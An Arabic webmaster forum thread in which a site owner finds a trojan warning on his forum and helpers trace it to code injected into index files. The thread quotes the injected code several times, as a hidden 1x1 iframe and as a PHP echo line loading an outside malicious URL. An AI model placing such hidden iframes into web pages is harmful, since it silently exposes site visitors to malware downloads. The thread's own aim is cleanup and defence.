مشكله: مكتشف يحتوي برنامج تروجان

السلام عليكم ورحمة الله وبركاته

اخواني الغاليين .. واجهتني مشكله قبل يومين وهي ظهور مكتشف يحتوي على تروجان

وهذي الصوره

https://mwadah.com/images/imgcache/2008/12/465.jpg

والحمد لله تم حلها من احد الاخوان .. باكتشافه كود بملف الاندكس

</BODY></HTML><iframe src="http://thedeadpit.com/?click=6094390" width=1 height=1 style="visibility:hidden;positi on:absolute"></iframe>

وهذا اقتباس لردي ..

اقتباس:

---

الله يجزاكم بالخير ويوفقكم على سرعة تجاوبكم معي ..

والمشكله الحمد لله راحت من الرئيسيه ..

قمت بحذف الكود

echo "<iframe src=\"http://thedeadpit.com/?click=6314578\" width=1 height=1 style=\"visibility:hidden ;position:absolute\"></iframe>";

?>

لكن اليوم حصلتها بالارشيف ويوم ادخل الارشيف يطلع رابط التحميل تحت الرابط هذا

http://thedeadpit.com/?click=6314578\" width

وحذفت الكود كامل اللي وضعته فوق

وصار تمام الارشيف احسن من اول .. حتى من ترقيتي للمنتدى ماصارو يتواجدون عناكب قوقل مثل اول ونزلت عدد صفحاتي بقوقل.. ولا اشاهد عناكب قوقل وياهوو يشاهدون الارشيف ... ( طبعاً قبل احصل الكود بالارشيف )


ورحت اشوف ملف الاندكس اللي بالادمن قلت اشيك عليه وحصلتها فيه
وهذا الكود اللي احصل

|| #
|| # CVS: $RCSfile$ - $Revision: 27177 $
|| ######################### ######################### ##################
\*======================= ========================= ======================*/


echo "<iframe src=\"http://thedeadpit.com/?click=6314578\" width=1 height=1 style=\"visibility:hidden ;position:absolute\"></iframe>";

?>

وش يعني هذا ؟؟ وهل احذفه من اي اندكس احصله فيه ؟

انتظر حلولكم جزاكم الله خير
]

---

واضح أخوي نفس الكود أو نفس رابط تحميل التروجان

كود:

---

http://thedeadpit.com/?click=6314578

---

لذا لابد من حذفه .
وللتأكد أكثر ابحث عن هذا الكود في الاندكس الي بجهازك قبل رفعه هل تجده أم لا .

الله يجزاك بالخير اخوي

طيب اخوي احذف اللي باللون الاحمر كامل ؟.

وبعد مااحذفه وارفعه من جهازي يكون 100% وسليم ولا يرجع لكن مشكلتي انه منتشر في جميع الاندكس الموجود بالمنتدى

ومشكلتي مااعرف كم موجود اندكس حتى اقدر اشيله منها ؟

اقتباس:

---

|| #
|| # cvs: $rcsfile$ - $revision: 27177 $
|| ######################### ######################### ##################
\*======================= ========================= ======================*/


echo "<iframe src=\"http://thedeadpit.com/?click=6314578\" width=1 height=1 style=\"visibility:hidden ;position:absolute\"></iframe>";

?>

---

أخوي خاطب الاستضافة تعمل اسكان من السيرفر
فهناك أدوات تقوم بفحص المواقع من الفيروسات والترجونات.أو من السبنل ماسح الفيروسات والملفات المشبوهه
أو أنك ترفع الملفات لجهازك وتعمل اسكان بواسطة برنامج كاسبر
.او تفتحها ملف ملف وتحذف الكود الذي يظهر اخر الملف الموضح بالأحمر

راسلت الاستضافه وسولي فحص وقالو مافيه شي ولا فايروسات .. سليم الموقع ..

وسالفة انزل الملفات وافحصها هذي متعبه ويمكن افقد بعض الملفات بسبتها لان الاتصال فيه مشاكل شوي

لكن ننتظر بقية الاخوان يمكن عندهم حل

او نضطر نحذف الكود من ملف ملف على قولتك ..

تسلم يالغالي ربي يجزاك بالجنه

شاكر لك تعاونك ..

أخوي اسم التروجان Trojan-Downloader.Js.Tabletka.a
حدث برنامج الحماية لديك وسوي اسكان لجهازك لانه يعد من البرامج الضارة والخطيرة
حسب مدونة كاسبر http://kasperskyav.blogspot.com/ الترجون رقم ( 9) في قائمة الترجونات الضارة.
لذا لابد من حذفه من جهازك لانه يتنقل كل مافتحت موقعك ,
وربما أجهزة زوار موقعك تصاب بنفس التروجان اذا يكن عندهم برنامج حماية يصيده.
اذا عندك خلفية باللغة الأنجليزية وللآسف اخوك ماعنده لغة
المهم انسخ اسم التروجون Trojan-Downloader.JS.Tabletka.a
وابحث في قوقل يظهر لك مواضيع في مواقع عدة تظهر درجة خطورته وكيفية حذفه .